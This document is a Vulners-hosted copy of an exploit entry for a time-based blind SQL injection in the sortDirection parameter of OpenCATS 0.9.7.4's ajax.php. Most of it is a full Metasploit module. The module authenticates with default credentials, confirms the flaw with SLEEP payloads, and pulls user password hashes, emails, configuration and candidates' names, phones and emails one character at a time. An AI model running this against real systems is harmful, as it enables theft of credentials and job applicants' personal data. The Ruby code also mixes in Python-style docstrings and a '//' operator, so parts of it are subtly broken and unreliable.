Lucene search
K

📄 OpenCATS 0.9.7.4 Time-Based Blind SQL Injection

🗓️ 08 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

OpenCATS before 0.9.7.5 has a time-based blind SQL injection in ajax.php sortDirection exploitable by authenticated attackers.

Code
==================================================================================================================================
    | # Title     : OpenCATS 0.9.7.4 SQL Injection Time-Based Blind                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/opencats/OpenCATS                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
                      The vulnerability is present in the `ajax.php` endpoint when handling the`sortDirection` parameter.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenCATS 0.9.7.4 SQL Injection (Time-Based Blind)',
            'Description' => %q{
              A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
              The vulnerability is present in the `ajax.php` endpoint when handling the
              `sortDirection` parameter. An authenticated attacker can perform time-based
              blind SQL injection to extract sensitive information from the database,
              including user credentials, configuration data, and candidate information.
    
              This module exploits the vulnerability by injecting SQL code into the
              `sortDirection` parameter of the `getDataGridPager` action. The injection
              uses time-based delays to infer data from the database character by character.
    
              Tested on OpenCATS 0.9.7.4 with PHP and MariaDB/MySQL.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://github.com/opencats/OpenCATS'],
              ['URL', 'https://github.com/opencats/OpenCATS/security/advisories'],
              ['URL', 'https://www.opencats.org']
            ],
            'DisclosureDate' => '2026-04-29',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base OpenCATS path', '/']),
          OptString.new('USERNAME', [true, 'OpenCATS username', 'admin']),
          OptString.new('PASSWORD', [true, 'OpenCATS password', 'cats']),
          OptInt.new('DELAY', [false, 'Time delay for blind injection (seconds)', 1]),
          OptInt.new('THREADS', [false, 'Number of threads for extraction', 1]),
          OptEnum.new('EXTRACT_MODE', [true, 'What to extract', 'ALL', ['USERS', 'CONFIG', 'CANDIDATES', 'ALL']])
        ])
      end
      def login
        print_status("Authenticating to OpenCATS at #{peer}")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php')
        )
        if res.nil?
          print_error("Failed to reach login page")
          return false
        end
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'm' => 'login', 'a' => 'attemptLogin' },
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          },
          'keep_cookies' => true
        )
        if res && (res.code == 302 || res.code == 200)
          if res.headers['Location'] && !res.headers['Location'].include?('login')
            print_good("Authentication successful")
            return true
          elsif res.body && !res.body.include?('Invalid')
            print_good("Authentication successful")
            return true
          end
        end
        print_error("Authentication failed. Check credentials.")
        false
      end
      def send_sqli_request(payload, timeout = 10)
        """
        Send SQL injection payload through the vulnerable parameter.
        The vulnerability is in the sortDirection parameter of the getDataGridPager action.
        """
        params = {
          'f' => 'getDataGridPager',
          'i' => 'candidates:candidatesListByViewDataGrid',
          'p' => {
            'sortBy' => 'dateModifiedSort',
            'sortDirection' => payload,
            'rangeStart' => 0,
            'maxResults' => 15
          }.to_json
        }
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'ajax.php'),
            'vars_get' => params,
            'timeout' => timeout,
            'keep_cookies' => true
          )
          return res
        rescue ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
          return nil
        end
      end
      def measure_response_time(payload)
        """
        Measure response time for a given SQL injection payload.
        Returns the response time in seconds.
        """
        start_time = Time.now
        send_sqli_request(payload, datastore['DELAY'] + 5)
        elapsed_time = Time.now - start_time
        elapsed_time
      end
      def get_baseline_time
        """
        Get baseline response time without any sleep injection.
        """
        normal_payload = "DESC"
        measure_response_time(normal_payload)
      end
      def test_vulnerability
        """
        Test if the target is vulnerable to time-based blind SQL injection.
        """
        print_status("Testing for time-based blind SQL injection...")
        baseline = get_baseline_time
        print_status("Baseline response time: #{'%.2f' % baseline}s")
        sleep_payload = "DESC,SLEEP(#{datastore['DELAY']})"
        sleep_time = measure_response_time(sleep_payload)
        print_status("Response time with SLEEP: #{'%.2f' % sleep_time}s")
        
        if sleep_time > baseline + (datastore['DELAY'] * 0.6)
          print_good("Target appears vulnerable to time-based blind SQL injection!")
          return true
        else
          print_error("Target does not appear vulnerable")
          return false
        end
      end
      def blind_condition(condition, delay = datastore['DELAY'])
        """
        Execute a blind SQL injection condition and return true if condition is true.
        Uses time-based detection: SLEEP(delay) if condition is true.
        """
        payload = "DESC,IF((#{condition}),SLEEP(#{delay}),0)"
        response_time = measure_response_time(payload)
        baseline = get_baseline_time
        response_time > baseline + (delay * 0.6)
      end
      def extract_string(query, max_length = 100)
        """
        Extract a string from the database using binary search on character values.
        """
        result = ""
        print_status("Extracting: #{query}")
        length = 0
        (1..max_length).each do |i|
          condition = "LENGTH((#{query})) < #{i}"
          if blind_condition(condition)
            length = i - 1
            break
          end
          length = i
        end
        print_status("  Length: #{length}")
        (1..length).each do |pos|
          lo = 32  
          hi = 126 
          while lo < hi
            mid = (lo + hi) // 2
            condition = "ORD(SUBSTRING((#{query}), #{pos}, 1)) > #{mid}"
            if blind_condition(condition)
              lo = mid + 1
            else
              hi = mid
            end
          end
          result += lo.chr
          print_status("  Progress: #{pos}/#{length} -> #{result}")
        end
        result
      end
      def extract_integer(query, max_bits = 32)
        """
        Extract an integer from the database using bit-by-bit extraction.
        """
        result = 0
        (0..max_bits).each do |bit|
          condition = "((#{query}) >> #{bit}) & 1 = 1"
          if blind_condition(condition)
            result |= (1 << bit)
          end
        end
        result
      end
      def get_database_info
        """
        Extract basic database information.
        """
        info = {}
        print_status("Extracting database information...")
        info['version'] = extract_string("@@version", 30)
        info['database'] = extract_string("DATABASE()", 30)
        info['user'] = extract_string("USER()", 30)
        info
      end
      def extract_users
        """
        Extract user credentials from the user table.
        """
        print_status("Extracting user information...")
        users = []
        count_query = "SELECT COUNT(*) FROM user"
        user_count = extract_integer(count_query)
        print_good("Found #{user_count} user(s)")
        (0...user_count).each do |offset|
          user = {}
          username_query = "SELECT user_name FROM user ORDER BY user_id LIMIT #{offset},1"
          user['username'] = extract_string(username_query, 40)
          level_query = "SELECT access_level FROM user ORDER BY user_id LIMIT #{offset},1"
          user['access_level'] = extract_integer(level_query, 8)
          hash_query = "SELECT password FROM user ORDER BY user_id LIMIT #{offset},1"
          user['password_hash'] = extract_string(hash_query, 62)
          email_query = "SELECT email FROM user ORDER BY user_id LIMIT #{offset},1"
          user['email'] = extract_string(email_query, 60)
          users << user
          print_good("  User #{offset+1}: #{user['username']} (level: #{user['access_level']})")
          print_status("    Hash: #{user['password_hash']}")
          print_status("    Email: #{user['email']}") if user['email']
        end
        users
      end
      def extract_candidates
        """
        Extract candidate information from the candidate table.
        """
        print_status("Extracting candidate information...")
        candidates = []
        count_query = "SELECT COUNT(*) FROM candidate"
        candidate_count = extract_integer(count_query)
        print_status("Found #{candidate_count} candidate(s)")
        if candidate_count > 10
          print_warning("Large number of candidates (#{candidate_count}). Extraction may take time.")
        end
        max_to_extract = [candidate_count, 20].min  # Limit to 20 candidates for performance
        print_status("Extracting first #{max_to_extract} candidates...")
        (0...max_to_extract).each do |offset|
          candidate = {}
          first_name_query = "SELECT firstName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['first_name'] = extract_string(first_name_query, 30)
          last_name_query = "SELECT lastName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['last_name'] = extract_string(last_name_query, 30)
          email_query = "SELECT email FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['email'] = extract_string(email_query, 50)
          phone_query = "SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['phone'] = extract_string(phone_query, 20)
          company_query = "SELECT company FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['company'] = extract_string(company_query, 50)
          candidates << candidate
          print_status("  Candidate #{offset+1}: #{candidate['first_name']} #{candidate['last_name']} - #{candidate['email']}")
        end
        candidates
      end
      def extract_config
        """
        Extract configuration settings from the config table.
        """
        print_status("Extracting configuration settings...")
        config = {}
        config_keys = [
          'site_name', 'site_url', 'admin_email', 'language', 
          'timezone', 'date_format', 'currency', 'company_name'
        ]
        config_keys.each do |key|
          query = "SELECT value FROM config WHERE setting = '#{key}' LIMIT 1"
          value = extract_string(query, 100)
          config[key] = value if value && !value.empty?
        end
        config
      end
      def run_host(ip)
        print_status("Starting OpenCATS SQL Injection scan against #{peer}")
        unless login
          print_error("Login failed. Cannot proceed with SQL injection.")
          return
        end
        unless test_vulnerability
          print_error("Target does not appear vulnerable to time-based blind SQL injection.")
          return
        end
        print_good("Target confirmed vulnerable to SQL injection!")
        extraction_mode = datastore['EXTRACT_MODE']
        case extraction_mode
        when 'USERS'
          users = extract_users
          users.each do |user|
            report_cred(
              host: ip,
              port: datastore['RPORT'],
              service_name: 'opencats',
              user: user['username'],
              private_data: user['password_hash'],
              private_type: :nonreplayable_hash,
              realm_key: 'access_level',
              realm_value: user['access_level']
            )
          end
        when 'CONFIG'
          config = extract_config
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.config',
            data: config,
            update: :unique_data
          )
        when 'CANDIDATES'
          candidates = extract_candidates
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.candidates',
            data: candidates,
            update: :unique_data
          )
        when 'ALL'
          db_info = get_database_info
          users = extract_users
          config = extract_config
          candidates = extract_candidates
          print_good("\n" + "=" * 60)
          print_good("EXTRACTION COMPLETE!")
          print_good("=" * 60)
          print_status("Database: #{db_info['database']}")
          print_status("MySQL Version: #{db_info['version']}")
          print_status("Database User: #{db_info['user']}")
          print_status("\nUsers found: #{users.length}")
          print_status("Configuration settings: #{config.length}")
          print_status("Candidates extracted: #{candidates.length}")
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.extracted_data',
            data: {
              'database_info' => db_info,
              'users' => users,
              'config' => config,
              'candidates' => candidates
            },
            update: :unique_data
          )
        end    print_good("SQL injection exploitation completed")
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
14